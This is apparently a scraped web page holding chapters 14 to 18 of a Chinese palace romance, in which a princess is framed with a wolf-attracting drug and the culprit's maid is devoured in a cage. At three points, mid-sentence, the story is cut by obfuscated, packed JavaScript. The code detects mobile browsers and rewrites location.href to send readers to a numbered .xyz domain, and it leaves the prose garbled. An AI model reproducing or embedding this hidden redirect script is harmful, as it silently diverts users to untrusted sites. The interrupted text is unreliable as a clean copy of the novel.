闻梨心想,也许是谢陵没注意到她的掉队,已经走了,她得赶快追上,要不然肯定会再次迷路,可她早已筋疲力尽,试着几次都没爬起来。 不知怎的,她脑海中浮现被母妃抛下的那个夜晚,她也是这样努力追着马车跑,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193748|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为看不清脚下的台阶,摔得头破血流,为什么被丢下的人永远是自己。 她很不服气,手脚并用,连下巴也在努力,想爬起来,这些年,她一遍遍想爬起来,做梦都在想,想追上母妃的马车问一句,为什么母妃宁愿带走一个收养的皇子,也不愿意带她走,就因为她只是个公主吗? 她不想就此认命,是不是只要自己跑得够快,就能追上母妃的马车,眼前彷佛出现一道掉漆的朱门,耳边朱门缓缓关闭的轰鸣声,她彻底被关在朱门内。 当幻境消失的刹那间,她感受到背部有兽爪摁住自己,耳边的轰鸣声也逐渐变得清晰,是狼犬的低吼声,闻梨脑海一片空白,连恐惧也忘了,只愣愣地望着狼犬尖利的獠牙咬向自己的脖颈。 她绝望闭眼,什么都没想。 眼前忽而闪过一道刺眼的冷光,温热的血溅射在闻梨脸上,只听得狼犬闷哼一声,软绵绵倒在了闻梨身上,闻梨彻底被狼犬压倒。 及时赶来的萧禹把狼犬从闻梨身上挪开,萧禹先查看了狼犬,确认中箭的狼犬已死,没什么威胁,才把闻梨扶起来,试图唤醒她:“公主殿下?” 闻梨眼前浮现了母妃的脸,她以为是母妃回来接她,便扑进来人怀里,放声哭了出来,口中呓语含糊不清道:“母妃,别再扔下我了。” 被公主搂得极紧,萧禹面露难色看向不远处,手持弓箭正匆步赶来的临王。 谢陵自然也瞧见了这一幕,适才他看到了跌倒的闻梨,本想过去扶她,但百步之外有火光闪烁,是萧禹带着一队禁军赶来了。 雪狼已死,暂时没威胁,谢陵便加快步伐,想把王若楚送过去,再回来抱闻梨,可是他遗漏了一件事,失踪的有两匹雪狼。 当他放下王若楚,夜间目力极好的他,正瞥见好不容易爬起来的闻梨被另一只雪狼扑倒,千钧一发之际,他来不及赶到闻梨身边,便夺走其中一个禁军的弓箭,百里开外一箭命中狼犬要害。 还好闻梨没事,看样子吓得不轻,抱紧萧禹不肯撒手。 见谢陵站着不动,萧禹很有分寸地将闻梨抱起,想递给谢陵,闻梨公主毕竟是人家临王的未婚妻。 但谢陵没接,看到闻梨头一回在别人怀里哭得如此肝肠寸断,千言万语最终只化作一句话:“劳烦萧将军了,她现在需要你。” 萧禹脸上写满诧异,不等自己开口,见临王径自先走了,萧禹只好抱着闻梨公主跟上,走前他又看了一眼倒地的狼犬,不由得在心中敬佩临王的好箭法,换做是他,兴许会射歪。 王若楚在一旁焦急等待,见谢陵回来,问道:“谢家哥哥,公主她没事吧?” 谢陵不语,一手捞起王若楚,往下山的路走去。 王若楚总觉得谢家哥哥生气了,抱她的力道也比刚才粗重了些,但她不敢问缘由,视线一转,她瞧见依偎在萧禹怀里的闻梨公主,忽然意识到了什么。 谢家哥哥果然很在意闻梨公主。 15. 第十五章 众人一道下了山,国公夫妇俩早就听说了事由,一直守在后山林入口,见临王与萧将军各抱着一人回来,慌忙跪下磕头。 “老臣该死,没有看好孽畜,害得公主殿下受惊,公主人没事吧?可要老臣派人去请御医?” 闻梨在半途中就已清醒,那时便已看清抱着自己的人是萧禹,萧禹的胸膛很结实,像一堵墙,手又十分规矩,几乎没什么不适感。 谢陵的怀抱则不太一样,面上情绪不显露,手上的力道却随着心情而变化,以至于有时给人的压迫感太强,反倒被禁锢着不能动。 此刻听到国公爷的问安,闻梨才从萧禹怀中下来,她先扭头看了一眼谢陵抱着的王若楚,平静吩咐道:“王姑娘扭伤了脚,过会儿临王会送她回去,传我命去宫里请御医替王姑娘诊治,半月后便是婚期,命御医定要诊治好王姑娘的脚伤。” 国公爷眼神询问谢陵的意思,谢陵冷道:“就照公主的吩咐去做。”说罢,他抱着王若楚先离去了。 闻梨扫一眼四周,“沈迟沈侍郎可还在府上?” 国公爷听得一头雾水,“应该还在前院,老臣即刻派人去请。” 国公夫人看着闻梨公主一身的狼狈样,好心上前问道:“公主可先随臣妇去更衣?” 闻梨摇头,又看向萧禹,“萧将军,请你马上派人把国公府围住,不许放任何一个人出府。” 萧禹本该只听命于皇帝一人的,今天只负责保护公主的出行安全,但一想到闻梨公主差点死在狼牙下,本就是自己失职,便破例听她一次。 国公爷神情惶恐,急得像热锅上的蚂蚁:“哎呀,这这这……求公主息怒,围不得府呀!” 闻梨没再说话,一直等到下人把沈迟找来。 另一边,谢陵将王若楚抱上自己的马车,便命陆回将王若楚送回府,陆回挠挠头,一时搞不清状况,“王爷你要去……哪啊?” 陆回还没说完话,便见谢陵头也不回地往国公府里进去。 谢陵几乎与沈迟前后脚来到后山入口处。 沈迟先来,借着廊下的檐灯打量闻梨公主,她的发钗全乱了,身上沾满淤泥,袖子被磨破,腕处的雪肤有大一片蹭起皮的红痕。 “公主这是怎么了?”沈迟在前院,只听说国公府的两匹雪狼失踪了,没想到闻梨公主会变成这副样子。 闻梨注意到谢陵又回来了,目光并未多作停留,望向沈迟,“我怀疑有人想对我下手,可否请沈公子帮我找出真凶?” 谢陵顿住脚步,眼眸中闪过一抹郁色,没再往前走,为何明明他就在这,闻梨却不救助于自己,反而要找一个没见过两次面的沈迟帮忙? 沈迟毫不犹豫道:“公主请说,刚才发生了什么事?” 闻梨知道谢陵不想她与沈迟有过多交际,但她没想到谢陵还会回来,便只能尽力去忽视那道炙热而愠怒的目光。 “我与王家小姐在后山林闲逛,却多次遭到狼犬伏击,我的侍女翠玉是第一个被攻击的目标,我仔细回想了一下,后三次全是冲着我来的,很奇怪,为何后三次我们那么快被狼犬找到,而且园中人多,狼犬却每次都能不偏不倚找到我,其中必有古怪。” 沈迟诧异地望了一眼闻梨,没想到她竟然能在这么多次狼犬的攻击中活下来,此刻还能如此镇定地回忆细节。 “公主可否让臣走近闻一闻您身上的味道?” 没等闻梨开口说话,谢陵便已十分不爽地站来闻梨身边,不过他什么话都没说,像是默许了沈迟的请求。 闻梨瞥一眼谢陵,好在他没有多余的动作,众目睽睽下,她真怕他因为争风吃醋对沈迟出手。 “有劳沈公子了。” 沈迟靠近闻梨,很有风度地伸手扇了扇味道,并没有凑得很近,呼吸间扑面而来的,除了女儿家的体香,还有一股若隐若现的药味。 沈迟心中已有决断,转身看向国公爷,礼貌问道:“敢问国公爷,收进府中的狼犬可曾接受过驯化?平时也会像这般无缘无故伤人吗?” 国公爷连忙否认:“全是受过驯化的,要不然我也不敢带进府里。” 沈迟了然于心,朝闻梨解释道:“公主身上确实有一种药味,像是来自西域的绮罗散,此药在斗兽场很常见,一般是用来涂抹在罪奴身上,以激发兽类的野性,让罪奴与野兽厮杀。” 闻梨听罢,沉默良久,她已经猜到了凶手是谁,却犹豫着要不要说。 谢陵忽而牵住她的手,“想说就说,有本王给你撑腰,不管那人是谁,本王都会让他付出代价。” 闻梨眸光微动,心想临王也许还能再利用一下,她从他掌心缩回手,决意把真凶说出来,毕竟翠玉是因她的缘故惨死狼牙之下。 闻梨将白天静绒失手打翻醋碟弄脏她衣裙的讲出来,“当时静绒曾派侍女与翠玉同行,许是在那个时候衣裙被下了药,而翠玉一直拿着我的衣裙,身上也沾了不少,狼犬才会第一时间攻击她。” 众人听罢,反应皆不一样,公国夫妇俩暗自松口气,原来是皇室内斗,那就与国公府无关了,沈迟却面露难色,一旦涉及皇子公主的事,他不过是个三品官员,能动用的权力很小。 谢陵倒是没什么可顾虑的,立刻命风浅把静绒的侍女带去猎场,又做主让国公爷等人都去猎场上候着,最后才看向闻梨,“等会要见很多人,公主先去换身衣服?” 闻梨想到自己一身的金叶子没地方藏,摇头拒绝了,谢陵见状,便遂她的愿,而后不由分说伸手揽住闻梨的腰,把人抱起,朝着猎场走去。 风浅奉命前去捉人,侍女没能带回来,倒是请来一众公主皇子,静绒也在其中,当她瞧见安然无恙的闻梨就站在临王身边,心慌了一瞬,想不到闻梨竟如此命大,两只狼都没把人叼走吗? 有皇子质问谢陵欲意何为,谢陵却道:“还请诸位殿下稍安勿躁,有人暗中谋害我未婚妻,只是想把人找出来,还未婚妻一个公道。” 此话一出,连沁芸也有点紧张了,虽不知静绒是用什么手段把闻梨弄成这副模样,但看见沈表兄也在此处,生怕沈表兄误会这事有她的份。 谢陵手握兵权,如今连皇帝都要让他三分薄面,好些皇子王爷,虽有皇室名头,却无实权,只要谢陵不欺负到自己头上来,诸位皇子犯不上跟他对着干,纷纷嘁了声。 谢陵侧过头,朝身边的闻梨低语几句:“公主是想自己问?还是要我帮你问? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193749|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不了,我自己来问。” 闻梨走到静绒面前,冷声问道:“怎么不见静绒皇妹身边的侍女采荷?” 静绒故作镇定:“采荷身子不适,我已命她先回宫了,闻梨皇姐找采荷做什么?” 闻梨现在要做的是拖延时间,静绒定料不到她还能活下来,采荷兴许刚出府,希望萧将军那边能抓到人。 闻梨盯着静绒的眼睛,一字一句道:“我的侍女翠玉死了,身子被狼撕成两半,死得很惨烈,白天只有采荷跟翠玉独处过,我想找采荷问几句话。” 在场的人听到翠玉的死状,皆骇了一跳,面露惊恐之色。 静绒仍面不改色,冷静道:“闻梨皇姐是不是弄错了?采荷不过陪同翠玉去府外取了套衣裙,论相处时间,分明是皇姐与清霜陪伴更久,不妨先问问清霜,可有察觉翠玉有什么异常,没准是香粉擦的多,自己引祸上身呢?” 静绒回答得滴水不漏,闻梨却道:“清霜与翠玉皆是父皇的赏赐,静绒皇妹是在怀疑清霜?还是在质疑父皇?” 静绒有些急了,“你别胡说,我怎会怀疑父皇?” “既然如此,还请静绒皇妹把采荷交出来,不过是想询问一些事,皇妹不必如此护奴心切。” 静绒觉得自己不能被闻梨牵着鼻子走,脸上的神情败下来,声音里有几分哭音:“闻梨皇姐如今有父皇的宠爱,又有未婚夫临王撑腰,你们抓走我的侍女,想怎么屈打成招都行。” 谢陵冷笑一声:“公主大可放心,有刑部沈侍郎在此,以及诸位殿下、国公爷,本王怎敢在众目睽睽之下屈打成招呢?” 静绒的脸色越发难看,咬紧唇不说话。 沈迟也道:“公主不必过于担忧,只是例行问几句话而已。” 闻梨瞄一眼谢陵:“静绒皇妹别再耽误时间了,见不着采荷,临王是不会放大家回去的。” 谢陵:“……”她倒是惯会拿他当靶子。 静绒还是一句话都不肯说。 就这么僵持了一会儿,有好些个皇子颇有不满,表示就为了个侍女的死,把大家围困在国公府,简直小题大做,也有些人早看谢陵不顺眼,想拿此事做文章,到朝堂上参他一本。 闻梨开始有点心虚,再瞄一眼谢陵,发现他本人丝毫不为所动,还敏锐地捕获到她的视线,偏头来看她,正好捉住她偷看的小动作。 幽暗的灯火照在他半侧脸上,像是蒙上一层淡淡的银霜,原本分明的脸廓变得朦胧而柔和,平添了几分温柔干净的气质,与往日那个盛气凌人的模样大相径庭。 闻梨心想,他安静的时候,看起来没那么讨人厌,倘若他不是临王,而她也不是公主,只是寻常的百姓,她没准会对他动心,然后耍手段赶走他身边的朵朵桃花,成为他唯一的妻子。 但很可惜,他不仅是王爷,还即将娶心上人为妻。 “公主在想什么?”谢陵好奇问道。 闻梨忙别开目光,脸颊微微有些发烫,“我有点饿了。” 谢陵笑道:“好,等会带你去酒楼吃饭。” 他居然还有闲情去吃酒楼?闻梨不争气地咽下口水,一颗心跳得格外快,她还没去过酒楼! 16. 第十六章 正当众人僵持之际,萧禹赶来了,手里还绑着个披头散发的女子,“启禀公主,有人想从后墙逃走,被臣捆来了。” “多谢萧将军。”闻梨弯腰,掀开女子挡脸的长发,一眼认出此人正是静绒身边的侍女采荷,便吩咐道:“松开绳子吧。” 萧禹松开手中的绳子,采荷连忙爬向自己的主子,跪求道:“求公主救救奴婢,奴婢差点被萧将军杀死。” 萧禹皱眉,他分明只是手上的力气大了点,何时想过要杀了这婢女? 静绒满脸戚戚,趁势抱住采荷,主仆二人哭作一团:“闻梨皇姐可满意了?把我的侍女吓成这副模样,你想问什么便赶紧问,倘若要抓人,先拿出证据来。” 闻梨看向沈迟:“可否请沈公子闻一闻采荷身上有没有绮罗散的味道。” 沈迟未加思索便来到采荷面前,仍十分守礼地扇风闻了闻,但闻不出什么味道,他说了一句冒犯,便握住采荷的双手,凑近嗅了嗅,还是摇头,“采荷姑娘洗过手,臣闻不出来。” 闻梨朝国公夫人道:“能否请夫人搜一搜采荷的身子?” 国公夫人依言照做,把采荷带进附近的屋子,过了一会儿,又将人带回众人面前,说道:“臣妇并未在采荷姑娘身上发现什么。” 场面陷入了沉寂,静绒满腹委屈,憋着眼泪道:“皇姐搜完了,是否该放我们回去?” 闻梨眉头紧锁,想到翠玉的死,不愿就这样简单放过静绒,没想到静绒也是深藏不露的,说话做事谨慎,很难找出她的破绽,一旦让静绒回宫,这件事铁定又是不了了之。 闻梨心底生出一种无力之感,只得闷闷不乐道:“那你们走吧。” 静绒刚松口气,正要带着侍女离开,却听到沉默已久的临王忽然开口。 “慢着,闻梨公主不打算追究侍女的死,但本王可没说不追查了,不论是谁,胆敢对本王未婚妻出手,宁可错杀也不放过。” 闻梨诧异抬眸,心中很好奇谢陵要做什么,只见他神色冷峻,彷佛换了个人,目光不善地盯着采荷与静绒。 “风浅,把静绒公主和她的侍女扔进笼子里,单独与两只狼犬关在一处,对了,狼犬要喂饱,静绒公主金枝玉叶,可别伤到了她。” 风浅领命去办。 此话一出,众人皆是目瞪口呆,见谢陵一脸彷佛要吃人的神情,不像是在做戏唬人,众人才惊觉,眼前的临王可不是善茬,他可是屠了两座城池的活阎王啊,他杀过的人,尸首能堆起好几座山。 采荷已经被吓得失了魂魄,静绒也失去理智:“我是公主,你们不能……”话还没说完,便被风浅一左一右,拖进笼子面前。 国公爷急得团团转,不敢阻拦谢陵,只能试图劝道:“临王切莫动怒,有话好说,公主乃金尊玉体,怎能与狼犬待在一起?” 其余皇子与公主也都替静绒说情,谢陵却丝毫不理会,只道:“闻梨公主被欺负时,可没人替她求情,若不是本王及时赶到,闻梨公主已经进了狼腹。” 闻梨悄悄扯了下谢陵的袖角,“吓唬一下她们就行啦,要真伤了静绒,王爷也不好交代。” 谢陵反捏了下闻梨的手掌心,用只有她听得见的声音说道:“放心,风浅自有分寸。” 闻梨:“……”原来他果然是在装腔作势? 待风浅牵出两匹雪狼到猎场,采荷早已被吓破胆,忙讨饶道:“奴婢什么都肯说,奴婢不想死!奴婢……” 采荷的嘴被静绒捂住,静绒脸色煞白,却还在与谢陵心里对弈,她觉得谢陵不敢拿自己怎么样,绝不能被他的虚张声势吓到。 “你们把我的侍女吓得胡言乱语,等回到宫里,我定会向父皇母后告你们的状,闻梨皇姐还没嫁过去,当真想倚仗着临王肆意妄为?难不成连父皇母后都不放在眼里?” 闻梨有些退缩了,又想像往常那样忍气吞声。 谢陵沉下眼眸,“静绒公主莫要颠倒是非,本王何曾说过要把公主扔进去喂狼?不过是想给诸位看证据罢了。如诸位所见,雪狼已经喂饱,沈侍郎闻不出来,不代表雪狼闻不到,倘若采荷与静绒公主不是下药之人,雪狼就不会被激发兽性,为公平起见,本王这边也会派一个没接触过绮罗散的人进去,究竟是谁下的药,大家一看便知。” 采荷挣脱静绒的手,磕头哭道:“奴婢不敢隐瞒,闻梨公主身上的药确实奴婢下的,可奴婢也只是听命主子行事,奴婢从未想过要害死闻梨公主,公主饶过奴婢吧,都是我家主子指使的。” 静绒彻底无话可辩驳,愣愣坐在地上,不知在想什么。 采荷爬来闻梨身边,想找闻梨求情,却被谢陵一脚踹远,“本王说了,是在给诸位看证据,你现在求情,难保将来你的主子不会翻供,污蔑本王屈打成招。倘若想活命,不如去求你自己的主子,她要是认下这罪名,本王自然也就放过你。” 采荷又爬到静绒身边,苦求道:“公主!公主就认了吧?看在奴婢跟您多年的份上,求您救救奴婢!” 静绒将脸别过去,轻轻摇头道:“是你蓄意谋害闻梨皇姐,我护不了你。” 人群之中的沁芸不由得一阵后怕,表面看着安分守己的静绒竟有如此城府,还心硬如石,连自己的婢女都见死不救,她忽然为自己曾经对沁芸的颐指气使感到心有余悸。 谢陵眼神示意风浅行动,风浅心领神会,先将两匹雪狼关进笼子,随后双手同时拎起静绒与采荷,与二人一道进了笼子,锁好门。 围观的众人连大气也不敢喘,有些胆小的甚至蒙住眼睛,不敢再看。 闻梨正怔怔看着笼子里的三人,眼前覆来谢陵略带凉意的手掌,遮挡了视线,她顺从地闭上眼睛,没多久前方传来采荷凄切的惨叫声,还有野兽狼吞虎咽的舔舐声,以及骨头断裂的声音。 闻梨听得浑身发颤,被狼犬扑倒的画面还历历在目,就差一点,被狼吃掉的人就是她自己,一阵恶心涌上心口,闻梨忍得很难受,险些站不稳身子。 肩膀忽而被人揽住,下一瞬,闻梨感觉自己进了谢陵的怀中,曾经他身上那股令她抵触的雪松香,却在此时沁入她的鼻尖,舒缓着她紧绷的思绪。 夜晚的风吹来,带着丝丝凉意,闻梨不自觉将脸贴在谢陵胸口,他身上的暖意,头一回令她有种安心的感觉,彷佛把外间的一切声音都隔绝了。 不知过了多久,谢陵才放下手,闻梨再度睁眼,四周的人已经散了大半,笼子里也被人收拾干净,只剩静绒神情呆滞坐在原地,似乎被吓得不轻,显然还没从侍女的惨死中回过神来。 闻梨抬头看向谢陵:“我想跟静绒单独说几句话。” 谢陵默许了,派人清场,偌大的猎场此时只剩下闻梨和静绒,谢陵与萧禹皆退到不远处候着。 瞧见沈迟还没走,谢陵睨他一眼,毫不客气道:“沈侍郎还不走?莫非还惦记着别人的未婚妻?” 听着谢陵这火药味十足的酸言 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面对静绒的冷嘲热讽,闻梨没生气,反而说道:“你我都是沈皇后手中的一枚棋子,当棋子没用了,沈皇后会毫不犹豫舍去,她是不是曾答应你,杀了我,便会让你取代我嫁给临王?” 静绒终于肯看向闻梨:“可惜败了。” 闻梨摇头:“沈皇后对我恨之入骨,而我已经脱离了她的掌控,一旦你杀了我,你的用处就不大了,下一个她想除掉的人就是你。” 静绒沉默好一阵,“你不恨我吗?为什么要跟我说这么多?” 闻梨见静绒已经明白她的意思,提步欲走:“我只希望你别再跟我作对,我们曾经是一样的人,是选择做沈皇后的棋子,还是做你自己。” 其实闻梨就是想给沈皇后添堵,反正自己也快走了,不如顺手帮沈皇后找点麻烦事。 “我哪有什么选择?又没别的什么王爷给我撑腰。” “一定可以的,即便眼下不能,将来总有机会。” 静绒陷入沉思,望着闻梨走远的身影,封闭已久的心像是被什么东西撩开一道口子,她试着在心里问自己,真的会有摆脱沈皇后控制的那天? 夜里风凉,闻梨过来时,谢陵给她穿了件披风。 闻梨系好衣带,朝萧禹福身道,“今日多谢萧将军救我于狼爪之下。” 谢陵登时怔在原地,萧禹则瞅一眼谢陵的神情,不紧不慢解释道:“公主误会了,当时是临王百步外射中雪狼,臣不过是帮忙挪走狼的尸首。” 说罢此话,萧禹识趣走开,给二人留下独处的空间。 闻梨心虚地望着谢陵,谢陵抿起唇,神色紧绷,寒似冰霜的眼眸也在盯着她,他那副幽怨的神情好似有千言万语,但最终又都咽了下去。 “王爷果然好箭法。” “还有呢?” “多谢王爷出手相救。” “就没了?” 谢陵拔腿欲走,冷不防想起闻梨扑进萧禹怀里时说的那句话,便猛然站住脚,闻梨一时没看清撞上他宽厚的背。 谢陵折身,又把闻梨抱起来,“今天先饶过你,改天本王再讨要报酬。” 四下无人,闻梨靠在谢陵怀中,借着风吹过房檐下的风铎响声,低声说了句:“谢谢你。” 谢陵唇畔牵起浅浅的弧度,转念又想到下山之时,闻梨也是这样靠在萧禹怀里,甚至贴得更近,没好气道:“萧将军的怀抱较之本王如何?” 闻梨一把扯紧谢陵的衣领,试图转移话题:“王爷说过要带我去酒楼吃饭,还作数吗?” 17. 第十七章 最终,闻梨还是没能去酒楼吃饭,上了马车,她靠在谢陵怀里睡着了,马车路过醉香居时,谢陵伸手轻轻撩拨了下闻梨的长睫,见她睡得熟,像小猫一样乖巧地躺在自己怀里,便没忍心吵醒她。 把闻梨送到皇宫外,谢陵从马车下来,朝萧禹道了声谢,再回到王府时,夜色已深。 白天国公府发生的事,早已传到商晏耳中,他一直在正厅内等着,见谢陵归来,上前见礼:“殿下回来了。” 谢陵没想瞒着商晏,坐下后解开袖缚,松了松手腕,直言道:“军师不必多言,待回禀叔父后,今天的事我甘愿领罚,定不让军师为难。” 商晏想说的话都被谢陵挡了回去,无奈地从袖口掏出一张折好的草纸:“事已至此,认罚不是首要,幸好殿下应对得不错,没真让静绒公主受伤,事情尚有转圜之地,我已拟好稿纸,明日朝堂之上,殿下可照此稿应答。” 谢陵粗略扫一眼稿纸,没什么问题,大致上与自己的想法一致,正欲收进袖中,准备起身去写奏折,忽而抬头朝外边望了望:“陆回还没回府?” 商晏困惑道:“陆参将不是与殿下一同赴宴去了么?” 谢陵说了自己派陆回送王若楚回府的事,随后让风浅去东院打听,才知陆回今晚一直没回来。 商晏思量道:“陆参将平日行事作风虽不拘一格了些,但凡事必以殿下的吩咐为先,绝不会像这般不见踪影,怕是在途中出了意外。” 谢陵沉下眼眸,取过堂前悬挂的长剑,预备清点府兵出去找人,正当此时,有府兵通传,说门外有个女子自称是王家六小姐,想要见临王一面。 谢陵与商晏即刻赶往府门外,远远便瞧见门边檐灯下来回踱步的身影。 听到门内传出脚步声,王萝玉欣喜抬头,像是松了口气,眸光微动,视线先落在了青衫士子身上,而后才若无其事挪开,摘下挡脸的帽兜,朝临王拜了拜。 王萝玉起身说明来意:“陆将军送阿姐回府途中遭遇了刺客袭击,陆将军拼死救出阿姐,自己却身负重伤,阿姐崴了脚行动不便,便再三嘱托我把陆将军送到王府,我恐路上又有刺客伏击,这才乔装改道而来。” 谢陵:“陆回人在哪里?” 王萝玉指了指身后的马车,谢陵赶过去,掀开车帘,果然见满身是血的陆回躺在里面,于是立刻派人将陆回搬下马车,一面令人去请军医过来。 谢陵忙着查看陆回伤势,将王萝玉晾在一边,王萝玉站在一侧,走也不是,进也不是,心中并未因为自己的冷遇而有不满,但总归有那么一点不愉快,临王居然问也不问一声堂姐的情况,好似一点也不在意。 商晏注意到她的尴尬处境,当把陆回送进府后,走过来温和道:“想不到王姑娘小小年纪竟有如此胆识,宋某佩服,待陆参将伤势好转,某定让他亲自向姑娘道谢。” 被他这么一说,王萝玉心中的那点不愉快一扫而光,她早就打听过,临王麾下有一名军师唤作商晏,年二十九,金陵人氏,尚未娶妻,天才少年,十五岁初出茅庐,先后辅佐过三代将帅,赢下数百场战役,可谓殊勋茂绩,令人艳羡。 王萝玉心头悸动不已,红着脸道:“承先生谬赞,不过是举手之劳,陆将军没事就好。”话落,她一时不知该说些什么。 商晏笑了笑,客套道:“姑娘路上劳累,可要进来喝杯茶再走?” “好啊。”话一出口,王萝玉便后悔了,本该拒绝的话,到了嘴边不知怎的变成同意,这下完了,在商先生眼中,自己肯定是个不矜持的姑娘。 商晏确实一愣,随即反应过来,笑着给王萝玉解围:“姑娘也是想问过陆参将的伤势再走吧?请先进来,随某到厅上用茶,一会儿某派人送你回府。” 王萝玉鬼使神差跟着他进了府。 后半夜,经过军医救治,陆回终于醒来,睁眼看到床边的谢陵,挣扎起身,开口便是认罪:“末将没能照顾好王姑娘,还请王爷责罚。” 谢陵按住陆回,这才想起还没问过王若楚的情况,好在商晏早从萝玉那里得知了消息:“陆参将放心,王家长女没事,是你保护了她。” 陆回松了口气,躺了回去,接着谢陵询问刺客来袭的详细情形。 陆回仔细回忆道:“我们是在入城后遭到的伏击,刺客大约有百来十个,组织有序地从各个巷口包夹过来,刺客误以为马车里坐的是王爷,率先朝马车进攻,好在末将及时将王姑娘救走,刺客们见王爷不在,只派了几个人来追击我们,否则末将还真没办法带着王姑娘逃出来。” 商晏追问:“可有看清刺客的身份?” 陆回似是想到了什么,“瞧着他们的身形手法,像是从北齐来的,武功皆不比我低。” 谢陵陷入沉思,商晏也沉吟片刻,推测道:“看来半月前收到的那封密报没错,北齐潜来一批杀手,想要对王爷下手,没想到他们在玉京城的部署如此周密,恐有内奸相助,并且这内奸的身份不低,殿下以为该当如何?” 谢陵道:“刺客既然是冲着我来的,想必还在暗中潜伏,那就引蛇出洞,布下杀局,叫他们有来无回。” 商晏却道:“可他们这次失手,会更加小心谨慎,敌人在暗,我们在明处,难保不会识破我们布下的天罗地网。” 陆回不甘心地闭眼:“难道我们只能被动挨打嘛!” 商晏:“也不尽然,我有一计倒可使刺客放松警惕,但不知殿下是否愿意让闻梨公主冒险?” 谢陵瞬间明白了军师的意思,仍迟疑不决,沉默着不说话。 商晏等了等,还想再劝,却听得谢陵说道:“可以。”说罢,又嘱咐陆回养伤,便起身走了。 陆回听糊涂了,追问道:“军师有何妙计?” 商晏淡淡道:“陆参将好好养伤,我明日再来看你。” * 闻梨从国公府别苑回来,倒头睡了两天,期间不时梦见被恶犬追赶,又梦到自己变成谢陵身边的狗,梦里,他用一根长长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193751|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的锁链绑着自己,只要她想逃走,那根锁链便会收紧,不仅把她拽回他身边,还勒得她喘不过气,渐渐地,梦又变成谢陵把她压在身下亲,亲得她快要窒息,方才醒来。 身上的汗水浸湿了两套枕被,闻梨一头埋进浴水中,憋了自己很久,久到清霜以为她闷死在水里,赶紧伸手将她捞起。 闻梨吐着水,睁眼问清霜:“现在什么时辰?” “回公主的话,卯时了。” 闻梨神情恹恹道:“替我梳妆吧。” 回宫后的这几日比闻梨预想中清净,沈皇后称病不出,静绒在宫里失踪了一阵,再出现时,胳膊脚腕处也有了大大小小的伤痕,偶尔在御花园遇见,静绒也比以前更加沉默寡言,唯一不同的是,没有跟在沁芸身后当跟班。 在此期间,唯有晋祐帝派人来象征性地安抚了闻梨几句,又给了点赏赐,言语间只字不提对静绒的处置,想来是不打算追究了。 闻梨早知会是这种的结果,心中并不意外,那日若非有谢陵在场,恐怕她被静绒陷害一事,永远也不会有人知道,更别提让静绒吃苦头。 只是很可惜,没能让幕后主使沈皇后付出点代价。 这日,清霜忽而跪地,啜泣道:“奴婢多谢公主替翠玉安置了身后事,奴婢与她在宫里相伴多年,早视对方为亲姐妹,如今翠玉枉死,奴婢一直担心她的尸首在山林不得安息。” 早在刚醒来时,闻梨便提笔给父皇写了封折子,说了翠玉忠心护主,希望能找回翠玉的尸首,送回故地,外加五百两银子安置翠玉的家人。 晋祐帝允诺了。 闻梨扶起清霜,“翠玉是因为我的缘故才枉死的,你若得闲,多给她烧点纸钱,聊表我的心意。” 顶替翠玉的宫女叫做杏络,从殿外进来,回禀道说:“公主,临王今日进宫,已经求得陛下恩准,说要带公主出宫游玩,此刻正在宫门边等着您,临王还托人传话,说公主不必隆重打扮,扮作寻常百姓方便出行。” 闻梨心中微动,没想到谢陵这么快就兑现了带她去酒楼吃饭的承诺,前几次出宫,好多新鲜玩意都只是匆匆掠过一眼,难得有机会慢慢逛一逛玉京城。 她即刻让清霜替自己选套素净的衣裙,简单梳过妆,又背着侍女们妥帖藏好金叶子和银票,兴致勃勃坐上软轿,朝宫门口行去。 宫门边,早有临王府的马车等候在侧,今天出宫有谢陵在,晋祐帝未派禁军随行,连闻梨带出来的两个侍女,也被拦在了一旁。 闻梨不解地看向马车旁边的人,谢陵并未下车,风浅奉命过来解释道:“王爷说,只想与公主单独从简出行,带着侍女侍卫未免招摇,连卑职也会远远跟在后边。” 闻梨没有犹豫,扭头吩咐清霜与杏络回宫等候,而她提裙登上马车,掀帘入内,抬眸见谢陵正襟危坐在里侧,一双乌黑深沉的眼眸,略带点复杂的晦暗情绪,正目不转睛凝视着她。 闻梨心中顿觉,今天的谢陵似乎与平常不太一样。 18. 第十八章 闻梨在侧边的软席坐下,与谢陵保持着不近不远的距离,轻声询问道:“王爷有心事?” 谢陵抿唇不语,朝闻梨勾勾手指,示意她坐到自己身边。 闻梨只好挪过去,刚靠近谢陵,便被他从后边环腰抱住,他的下颌搁在闻梨肩窝,闭眼养神。 两人贴得很近,闻梨被他这忽远忽近的距离感搞得不知所措,但想到今天能出宫游玩,便没挣扎,任其将自己抱在怀中。 